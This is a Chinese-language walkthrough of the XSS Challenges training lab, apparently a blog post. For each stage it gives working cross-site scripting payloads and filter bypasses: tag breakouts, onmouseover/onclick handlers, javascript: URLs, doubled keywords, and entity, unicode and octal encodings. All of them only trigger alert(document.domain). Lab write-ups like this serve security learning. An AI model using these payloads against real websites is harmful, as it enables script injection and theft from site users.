XSS Challenges

Stage #1

无过滤,</b><script>alert(document.domain)</script><b>

Stage #2

注入点在input标签内,前后闭合标签中间加script语句

"><script>alert(document.domain)</script><

Stage #3

传递了两个参数,第一个参数过滤了<>

抓包,在第二个参数处闭合标签插入script语句

 

Stage #4

跟第三关差不多,抓包发现有第三个参数

在源代码中找到hackme的位置

在第三个参数处构造xss

Stage #5

与第二关一样,但是在前段限制了语句长度,抓包构造xss提交即可

Stage #6

与第二关一样,注入点在value标签中,但是过滤了<>,没有过滤",可以用"闭合,构造事件进行xss

" onmouseover=alert(document.domain) name="1

onmouseover是鼠标移到上面就会触发的事件

" onclick=alert(document.domain) name="1

onclick是鼠标点击会触发事件

Stage #7

和第六关差不多,不同的是这关不只把<>过滤了,还把"也过滤了,无法用"分隔属性,但是可以用 (空格)分隔

" onclick=alert(document.domain)  要在空格前面加点东西,否则无法成功

Stage #8

题目要我们输入一条url,然后会把url包含在<a>标签中,点击触发弹窗

在url中运行javascript的方法是以javascript:开头后跟要执行的语句,因此构造一下语句即可弹窗

javascript:alert(document.domain)

Stage #9

utf-7编码,用F12修改元素 onclick=alert(document.domain)直接过(每关都可以这样)

Stage #10

注入点在value里,但是过滤了domain,可双写绕过

"><script>alert(document.dodomainmain)</script><

Stage #11

value注入点,会在我们构造的语句中的script前面加个x,且on事件全部不能用

构造<a>标签在超链接中执行js,构造时将script中任意一个字母用Unicode编码

"><a href="java&#115;cript:alert(document.domain)">1</a>

Stage #12

vlaue注入点,过滤了<、>、"和',将空格与"Unicode编码无法成功,因为无法用Unicode编码"、'、<、>来闭合标签或属性

&#34;&#32;onmouseover=alert(document.domain)&#32;name=&#34;1

利用IE浏览器(不是Microsoft Edge)识别特性,IE浏览器会把``(键盘上方数字键1左边的那个键)识别成双引号

构造``onmouseover=alert(document.domain)成功弹窗

Stage #13

style注入点,转义了<>和"

查资料得到要利用IE浏览器支持的动态特性,但是IE版本太高,无法复现

Stage #14

同13关

Stage #15

DOM型XSS,转义了<>"&,但是可以双写绕过,可以用\003c和\003e代替<>

\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e

Stage #16

跟上题一样,只是替换了x,即无法用十六进制绕过,用上题的代码直接过

\u003e\u003cscript\u003ealert(document.domain)\u003c/script\u003e

用八进制编码也可以绕过,即将<>用十六进制编码后再转为八进制,格式是\74、\76

\74script\76alert(document.domain)\74/script\76

Stage #17、Stage #18

题目说只能在老版本IE上复现,可跳过

Stage #19

不会,也没找到别的大佬的WP

原文地址:https://www.cnblogs.com/rnss/p/10978066.html